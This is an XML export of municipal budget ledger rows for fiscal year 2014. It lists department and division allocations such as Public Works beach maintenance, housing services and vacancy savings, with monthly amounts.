<row _id="7950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-27678.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27678.0</total></row>
<row _id="7951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2374.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2374.0</total></row>
<row _id="7952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="7953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="7954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>235325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>235325.0</total></row>
<row _id="7955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="7956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>396768.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>396768.0</total></row>
<row _id="7957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57189.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57189.0</total></row>
<row _id="7958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82000.0</total></row>
<row _id="7959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1277.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1277.0</total></row>
<row _id="7960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>671.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>671.0</total></row>
<row _id="7961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561118.0</object><object_description>STEP UP ON 2ND SNCTURY-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="7962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408540.0</object><object_description>MULTI MODAL TRAVEL &amp; PARKING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="7964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22519.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22519.0</total></row>
<row _id="7965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3253.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3253.0</total></row>
<row _id="7966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>114800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>114800.0</total></row>
<row _id="7967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="7969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1860.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1860.0</total></row>
<row _id="7970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>86795.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86795.0</total></row>
<row _id="7971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>127316.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>127316.0</total></row>
<row _id="7972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>119240.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119240.0</total></row>
<row _id="7973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>717525.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>717525.0</total></row>
<row _id="7974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1048.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1048.0</total></row>
<row _id="7975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10100.0</total></row>
<row _id="7976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12115.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12115.0</total></row>
<row _id="7977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="7978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7816.0</total></row>
<row _id="7979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>912.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>912.0</total></row>
<row _id="7980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577341.0</object><object_description>SECT 8 HSG-PORTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>88100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88100.0</total></row>
<row _id="7982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9232.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9232.0</total></row>
<row _id="7983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7117.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7117.0</total></row>
<row _id="7984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27214.0</total></row>
<row _id="7985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571110.0</object><object_description>S+C HAP SUO2</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>64240.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>64240.0</total></row>
<row _id="7987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404771.0</object><object_description>PROP C LR-BIKE TRANSIT CENTER</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25625.0</total></row>
<row _id="7988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-22251.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22251.0</total></row>
<row _id="7989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-200059.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200059.0</total></row>
<row _id="7990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-37003.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37003.0</total></row>
<row _id="7991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-28830.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-28830.0</total></row>
<row _id="7992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-27639.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27639.0</total></row>
<row _id="7993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-49244.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-49244.0</total></row>
<row _id="7994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-90105.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90105.0</total></row>
<row _id="7995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-97800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-97800.0</total></row>
<row _id="7996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544013.0</object><object_description>CARTRIDGE FILTER REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>53993.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53993.0</total></row>
